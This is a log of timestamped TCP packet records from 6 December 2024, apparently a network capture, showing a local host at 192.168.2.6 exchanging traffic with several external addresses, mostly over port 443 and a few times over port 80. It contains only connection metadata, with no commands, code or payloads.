Dec 6, 2024 18:45:23.261071920 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.261081934 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.262311935 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.262419939 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.267672062 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.316634893 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.418668985 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.418684959 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.419871092 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.419934988 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.422202110 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.422306061 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.422646999 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.422652960 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.422702074 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.422768116 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.422770023 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.422776937 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.423258066 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.423270941 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.423351049 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.423368931 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.423435926 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.423451900 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.423515081 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.423521042 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.476753950 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.476759911 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.476759911 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.476876974 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.524794102 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:23.524854898 CET	443	49722	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:23.524912119 CET	49722	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.078229904 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.078372955 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.078417063 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.081155062 CET	49725	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.081170082 CET	443	49725	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.105307102 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.105362892 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.105401993 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.105413914 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.105424881 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.105480909 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.105489016 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.118666887 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.118745089 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.118756056 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.118767977 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.118813038 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.123168945 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.123294115 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.123342037 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.124185085 CET	49727	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.124191999 CET	443	49727	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.124816895 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.132509947 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.132567883 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.132582903 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.174876928 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.174887896 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.222721100 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.225126028 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.269650936 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.291815996 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.299293995 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.299341917 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.299350977 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.312150002 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.315735102 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.315850019 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.315865040 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.315913916 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.325614929 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.339137077 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.339207888 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.339215994 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.352904081 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.352967978 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.352976084 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.366708994 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.366852045 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.366859913 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.380317926 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.380382061 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.380393028 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.393394947 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.393541098 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.393558025 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.412779093 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.412816048 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.412847042 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.412854910 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.413026094 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.420558929 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.435631037 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.435724020 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.435733080 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.478001118 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.478127003 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.478135109 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.489614010 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.489814997 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.489829063 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.497098923 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.497175932 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.497242928 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.497255087 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.497304916 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.508214951 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.520153046 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.520277977 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.520349979 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.520358086 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.520411015 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.531692982 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.541487932 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.541882992 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.542342901 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.542365074 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.542465925 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.542479992 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.542814016 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.542819977 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.542877913 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.542881966 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.543071985 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.543106079 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.543194056 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.543201923 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.543262959 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.543899059 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.544193983 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.544197083 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.544229031 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.544410944 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.544435978 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.544564009 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.544569969 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.544823885 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.544830084 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.548805952 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.550410986 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.550422907 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.550828934 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.550832987 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.554800987 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.566142082 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.566232920 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.566296101 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.566304922 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.566385031 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.590487003 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.591964006 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.592035055 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.592042923 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.598141909 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.598218918 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.598225117 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.608207941 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.608273983 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.608279943 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.617841959 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.617911100 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.617918015 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.617925882 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.618058920 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.627012968 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.636049032 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.636092901 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.636187077 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.636195898 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.636240959 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.644860983 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.653573990 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.653623104 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.653692961 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.653703928 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.653753042 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.662059069 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.670603991 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.670710087 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.670715094 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.670726061 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.670773983 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.679348946 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.684911013 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.684972048 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.684978962 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.690511942 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.690624952 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.690713882 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.690722942 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.690825939 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.712265968 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.713959932 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.714013100 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.714025021 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.716633081 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.716698885 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.716707945 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.719253063 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.719310045 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.719320059 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.723176003 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.723243952 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.723256111 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.726183891 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.726257086 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.726262093 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.729249954 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.729307890 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.729310036 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.729319096 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.729372025 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.734528065 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.734747887 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.734810114 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.734817028 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.735053062 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.735091925 CET	443	49726	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:24.735153913 CET	49726	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:24.977703094 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.977761984 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.977824926 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.978075981 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.978094101 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.978110075 CET	49731	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.978115082 CET	443	49731	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.978758097 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.978818893 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.978899002 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.979023933 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.979043007 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.979057074 CET	49730	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.979062080 CET	443	49730	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.980227947 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.980283976 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.980356932 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.980938911 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.980954885 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.981009960 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981131077 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981142044 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981142044 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.981159925 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.981172085 CET	49732	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981178045 CET	443	49732	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.981194019 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981301069 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981313944 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.981404066 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.981416941 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.983095884 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.983104944 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.983160019 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.983321905 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.983329058 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.989881992 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.989955902 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.990029097 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.990185022 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.990190983 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.990199089 CET	49734	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.990205050 CET	443	49734	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.991981030 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.991990089 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:24.992078066 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.992211103 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:24.992219925 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.024612904 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.024667978 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.024744034 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.025274038 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.025290012 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.025300980 CET	49733	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.025305986 CET	443	49733	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.027482986 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.027509928 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.027599096 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.027684927 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:25.027699947 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:25.451929092 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:25.452001095 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:25.452243090 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:25.454392910 CET	49745	443	192.168.2.6	4.175.87.197
Dec 6, 2024 18:45:25.454407930 CET	443	49745	4.175.87.197	192.168.2.6
Dec 6, 2024 18:45:25.893743992 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:25.893776894 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:25.893837929 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:25.894314051 CET	49746	443	192.168.2.6	172.217.21.36
Dec 6, 2024 18:45:25.894328117 CET	443	49746	172.217.21.36	192.168.2.6
Dec 6, 2024 18:45:26.610191107 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:26.610488892 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:26.697457075 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.698019028 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.698043108 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.698504925 CET	49740	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.698510885 CET	443	49740	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.699548960 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.699867010 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.699878931 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.700510025 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.700515032 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.702780962 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.703079939 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.703094959 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.703623056 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.703628063 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.706911087 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.707315922 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.707325935 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.707701921 CET	49743	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.707706928 CET	443	49743	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.730117083 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:26.731273890 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:26.731342077 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:26.731513023 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:26.744960070 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.745570898 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.745589018 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.745953083 CET	49744	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:26.745959044 CET	443	49744	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:26.748796940 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:26.748837948 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:26.748908043 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:26.750000954 CET	49752	443	192.168.2.6	2.18.84.141
Dec 6, 2024 18:45:26.750011921 CET	443	49752	2.18.84.141	192.168.2.6
Dec 6, 2024 18:45:26.851316929 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:27.135574102 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.135658979 CET	443	49742	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.135716915 CET	49742	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.138212919 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.138282061 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.138324976 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.139669895 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.139678955 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.139693022 CET	49741	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:27.139698029 CET	443	49741	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:27.139837980 CET	49742	443	192.168.2.6	13.107.246.63
